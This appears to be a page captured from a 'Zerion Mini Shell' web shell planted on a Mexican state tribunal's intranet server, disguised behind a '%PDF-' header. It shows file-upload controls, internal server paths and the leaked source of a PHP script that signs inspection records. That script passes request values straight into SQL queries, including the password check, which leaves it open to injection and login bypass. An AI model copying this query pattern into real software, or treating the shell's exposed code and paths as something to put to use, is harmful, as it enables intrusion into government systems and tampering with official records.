%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/visitaduria/controller/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/visitaduria/controller/firmar_visita.php

<?php
    ini_set('display_errors', 1); 
    ini_set('display_startup_errors', 1); 
    error_reporting(E_ALL);
    use setasign\Fpdi\Fpdi;
	use setasign\Fpdi\PdfReader;
	

	require_once('../../../common/fpdf/fpdf.php');
	require_once('../../../common/fpdi/src/autoload.php');
    include "../../../config/config.php";
    
    
    function numeroEnPalabras($numero) {
        $f = new NumberFormatter("es", NumberFormatter::SPELLOUT);
        return $f->format($numero);
    }
    
    function fechaHoraEnPalabras($fecha, $hora) {
        $meses = [
            "01" => "enero", "02" => "febrero", "03" => "marzo", "04" => "abril",
            "05" => "mayo", "06" => "junio", "07" => "julio", "08" => "agosto",
            "09" => "septiembre", "10" => "octubre", "11" => "noviembre", "12" => "diciembre"
        ];
    
        list($anio, $mes, $dia) = explode("-", $fecha);
        list($horaH, $minutos, $segundos) = explode(":", $hora);
    
        $diaPalabra = ($dia == "01") ? "primero" : numeroEnPalabras(intval($dia));
        $mesPalabra = $meses[$mes];
        $anioPalabra = numeroEnPalabras(intval($anio));
    
        $horaPalabra = numeroEnPalabras(intval($horaH));
        $minutosPalabra = numeroEnPalabras(intval($minutos));
        $segundosPalabra = numeroEnPalabras(intval($segundos));
    
        return ucfirst(" $diaPalabra DE $mesPalabra DE $anioPalabra, A LAS $horaPalabra CON $minutosPalabra MINUTOS Y $segundosPalabra SEGUNDOS");
    }
	
    $id_firma           =   isset($_REQUEST['id_firma']) ? $_REQUEST['id_firma'] : '-1';
	//$fecha_firma 	=	isset($_REQUEST['fecha_firma']) ? $_REQUEST['fecha_firma'] : '';
	$user   		=  	isset($_REQUEST['rfc']) ? $_REQUEST['rfc'] : '';
	$password 		= 	isset($_REQUEST['password2']) ? $_REQUEST['password2'] : '0';
	$id_nom 		=	isset($_REQUEST['id_nom']) ? $_REQUEST['id_nom'] : '0';
	$fecha = date('dmYhis', time());
    $fecha2=$fecha;
    
    $hora = date('H:i:s');     // Hora en formato 24h, ej: 14:35:22
    $dia  = date('d');         // Día del mes con dos dígitos, ej: 12
    $mes  = date('m');         // Mes numérico con dos dígitos, ej: 06
    $anio = date('Y');         // Año con cuatro dígitos, ej: 2025

    $permitted_chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+#$()?=/';
    
    $fecha_firma = date("Y-m-d");
    
    $fecha_firma_hora = date("Y-m-d H:i:s");
    
    list($fechaaa, $horaaa) = explode(' ', $fecha_firma_hora);
        

	if(isset($_REQUEST['rfc']) AND isset($_REQUEST['password']) )
	{
		$conf = new Configuracion();
		$conf->conectarBD();

		$consulta6 = "SELECT t.*, p.id_empleado, p.id_titulo 
                            FROM visitaduria_titulos t 
                            JOIN visitaduria_participantes p 
                            ON (t.id = p.id_titulo)
                            WHERE p.id = $id_nom ";
	    $rst6 = $conf->consulta($consulta6);
	    $id_empleado = $rst6[0]["id_empleado"];
	    $nomina_pdf = basename($rst6[0]["url_acta"]);
	    $ruta_pdf = $rst6[0]["url_acta"];
        $ruta_pdf = dirname($ruta_pdf) . '/';
	    $id_titulo = $rst6[0]["id_titulo"];
	    $municipio = $rst6[0]["municipio"];
	    
	    
	    $consulta8 = "SELECT vp.*, te.nombre, te.apellido1, te.apellido2, tp.puesto, tf.firma
        FROM visitaduria_participantes vp
        INNER JOIN tjam_empleados te ON vp.id_empleado = te.id
        INNER JOIN tjam_puestos tp ON te.id_puesto = tp.id_puesto
        INNER JOIN tjam_firmas tf ON vp.id_firma = tf.id_firma
        WHERE vp.id_titulo = $id_titulo";
        $rst8 = $conf->consulta($consulta8);
        
        for($i = 0; $i < count($rst8); $i++)
        {
            if($rst8[$i]['puesto']=='DEFENSOR'){
            $nombre_defensor = $rst8[$i]['nombre'] . ' ' . $rst8[$i]['apellido1'] . ' ' . $rst8[$i]['apellido2'];
    		$puesto_defensor = $rst8[$i]['puesto'];
            }

            
        }
        
	    
	    $sql_nc = "SELECT e.nombre, e.apellido1, e.apellido2, p.puesto
                    FROM tjam_empleados e
                    JOIN tjam_puestos p ON e.id_puesto = p.id_puesto
                    WHERE e.id = $id_empleado ";
		$rst1_nc = $conf->consulta($sql_nc);
		$nombre_empleado = $rst1_nc[0]['nombre'] . ' ' . $rst1_nc[0]['apellido1'] . ' ' . $rst1_nc[0]['apellido2'];
		$puesto_empleado = $rst1_nc[0]['puesto'];
		
		/*$sql = "SELECT id, nombre, id_rol FROM tjam_empleados 
		                WHERE rfc = '$user' AND password = '$password' ";*/
		$sql = "SELECT id, nombre, id_rol FROM tjam_empleados 
		                WHERE rfc = '$user' AND password_hash = '$password' ";
		$rst1 = $conf->consulta($sql);
		$id_usuario = $rst1[0]["id"];
		
		if(count($rst1) == 0 )
		{
		    header("Location: ../page_visitaduria.php?permiso=0");
		}else{
			$notransaccion=md5($id_nom);
			$nom_nom=md5($nomina_pdf);
		    $token = bin2hex($fecha2);
		    $pre = pathinfo($nomina_pdf, PATHINFO_FILENAME);
		    $sello = generate_string($permitted_chars, 180);
		    $nocomprobacion=''.$nom_nom.' |'.$fecha2.' |'.$notransaccion.' |'.$token.' |'.$sello.'';
            
            
			$pdf = new Fpdi();

			//$pageCount = $pdf->setSourceFile($_SERVER["DOCUMENT_ROOT"].'/intranet/sistemas/visitaduria/'.$ruta_pdf.$nomina_pdf);

			//$pageId = $pdf->importPage(1);

			$pdf->addPage();
			//$pdf->useImportedPage($pageId, 0, 0, 210);
			$pdf->SetTextColor(0,0,0);
			//$pdf->SetFont('Arial', 'B', '4'); 
			$pdf->SetFont('Arial', 'B', 16); // Tamaño 12 y negritas
            $pdf->SetXY(0, 40); // Posición vertical donde quieres el título
            $pdf->Cell(210, 10, utf8_decode('ACUSE DE FIRMA DE ACTA DE VISITADURÍA JURISDICCIONAL'), 0, 1, 'C');
			$pdf->Ln(20);
			$pdf->SetFont('Arial', '', 12);
			//$pdf->MultiCell(95,2,utf8_decode('Me doy por bien pagado, satisfecho y que no podré reclamar nada de nada, si lo hago que se me caiga, pero de verdad que nadita reclamaré y mucho menos me quejaré del trabajo que tenga o que deba de hacer, que así sea por hoy y por el resto de mis días o por los que me queden en este digno Tribunal. Solo para ver si cabe otra línea' ),0,'J',0);
			//$pdf->MultiCell(100,2,utf8_decode('ACUSE DE FIRMA DE ACTA DE VISITADURÍA JURISDICCIONAL' ),0,'J',0);
			//$pdf->MultiCell(100,2,utf8_decode('Siendo las '.$hora.' horas del día '.$dia.' de '.$mes.' de '.$anio.', mediante el presente acuse, se hace constar que en calidad de Visitador, Defensor y Magistrado integrante de la Comisión de Visitaduría, han procedido a la firma electrónica y validación oficial del Acta de Visitaduría Jurisdiccional correspondiente, elaborada en cumplimiento del calendario y lineamientos establecidos por el Tribunal en Materia Anticorrupción y Administrativa del Estado de Michoacán.L' ),0,'J',0);
			//$pdf->MultiCell(100,2,utf8_decode('Se hace constar que dicho acto fue realizado por medios electrónicos institucionales, a través de la plataforma oficial del Tribunal INTRANET, y cuenta con los siguientes elementos de autenticación:' ),0,'J',0);
			//$pdf->MultiCell(100,2,utf8_decode('Número de token digital, Sellos oficiales de la institución y  Firma electrónica digital.' ),0,'J',0);
			//$pdf->MultiCell(100,2,utf8_decode('Dicho documento fue generado y firmado conforme a los principios de legalidad, certeza, objetividad, profesionalismo y transparencia, que rigen el actuar de este órgano jurisdiccional.' ),0,'J',0);
			//$pdf->MultiCell(100,2,utf8_decode('Para constancia y efectos legales a que haya lugar, firma electrónicamente el presente: '.$nombre_empleado.' - ' . $puesto_empleado ),0,'J',0);
			//Write(5, 'FIRMA DEL EMPLEADO:');
			// Texto justificado, ancho completo
            $pdf->SetFont('Arial', '', 10); 
            $pdf->SetX(15); // Margen izquierdo
            $pdf->MultiCell(180, 6, utf8_decode('CON EL DOCUMENTO DEL ACTA QUE SE ANEXA, SIENDO '.strtoupper(fechaHoraEnPalabras($fechaaa, $horaaa)).'.'), 0, 'J');
            
            $pdf->Ln(2);
            
            $pdf->SetX(15);
            $pdf->MultiCell(180, 6, utf8_decode(
                'SE CONCLUYÓ LA VISITA ORDINARIA DE INSPECCIÓN EN LA MODALIDAD A DISTANCIA (VIRTUAL) PRACTICADA A LA DEFENSORIA JURIDICA DE '.$municipio.', MICHOACÁN DEL TRIBUNAL EN MATERIA ANTICORRUPCIÓN Y ADMINISTRATIVA, FIRMANDO CON LA FIRMA ELECTRONICA CERTIFICADA DE ESTE TRIBUNAL DEBIDAMENTE VALIDADA DE CADA UNO DE LOS SERVIDORES PUBLICOS QUE INTERVINIERON EN LA PRESENTE ACTUACIÓN, EL MAGISTRADO COMISIONADO DE LA VISITADURÍA JURISDICCIONAL CARLOS, ENRIQUE VERDUZCO HURTADO, EL VISITADOR JORGE LUIS ARROYO MARES Y EL TITUTALAR DE LA DEFERENSORIA JURIDICA DE '.$municipio.' MICHOACÁN, '.$municipio.'.'
            ), 0, 'J');
            
            $pdf->Ln(5);
            
            $pdf->SetX(15);
            $pdf->MultiCell(180, 6, utf8_decode(
                'FIRMA DIGITAL: ' . $nombre_empleado . ', ' . $puesto_empleado 
            ), 0, 'J');
            
            $pdf->Ln(2);
            
            $sqlF = "SELECT firma FROM tjam_firmas WHERE id_firma = $id_firma ";
		    $rstF = $conf->consulta($sqlF);
			
			$firma = $rstF[0]['firma'];
            
            $pdf->SetX(15);
            $pdf->MultiCell(180, 6, utf8_decode( $firma ), 0, 'J');
            
			$pdf->SetFont('Arial', 'B', '8'); 
			//set position in pdf document
			$fechaActual = date('d-m-Y');
			$pdf->SetXY(10, 265);
			$pdf->Write(5, 'FIRMA DEL EMPLEADO:');
			$pdf->SetXY(145, 265);
			$pdf->Write(5, 'FECHA FIRMA: '.$fecha_firma_hora);
			$pdf->SetFont('Arial', '', '6');
			$pdf->Ln();
			
			
           
			
			$pdf->MultiCell(185,2,$firma,0,'L',0);
			//$pdf->Output('I', 'generate.pdf');
			//$pdf->Output('F', 'TJA0711304U1_NOM_NOMINA23510_34_F.pdf');

			$pdf->Output('F', $_SERVER["DOCUMENT_ROOT"].'/intranet/sistemas/visitaduria/'.$ruta_pdf.$id_empleado.'_'.$id_titulo.'_'.$pre.'_F.pdf');
		    $nomina_pdfn = $ruta_pdf.$id_empleado.'_'.$id_titulo.'_'.$pre.'_F.pdf';

		    $sql1 = "UPDATE visitaduria_participantes SET firma_pdf = '$nomina_pdfn', firmado = 1, id_firma = $id_firma, huella = '$nocomprobacion', fecha_firma = '$fecha_firma_hora' WHERE id = $id_nom";
			$id_personal = $conf->actualizacion($sql1);
			
			$sql3 = "UPDATE notificaciones SET estatus = 1,ip_destino = '$ip',fecha_leido = now() WHERE url = 'sistemas/visitaduria/page_visitaduria.php?noti=1' AND id_empleado_dest = $id_usuario";
            $rst3 = $conf->actualizacion($sql3);

		    header("Location: ../page_visitaduria.php");
		    
		}
		
	}
 
	function generate_string($input, $strength = 16) {
	    $input_length = strlen($input);
	    $random_string = '';
	    for($i = 0; $i < $strength; $i++) {
	        $random_character = $input[random_int(0, $input_length - 1)];
	        $random_string .= $random_character;
	    }
	 
	    return $random_string;
	}

?>

Zerion Mini Shell 1.0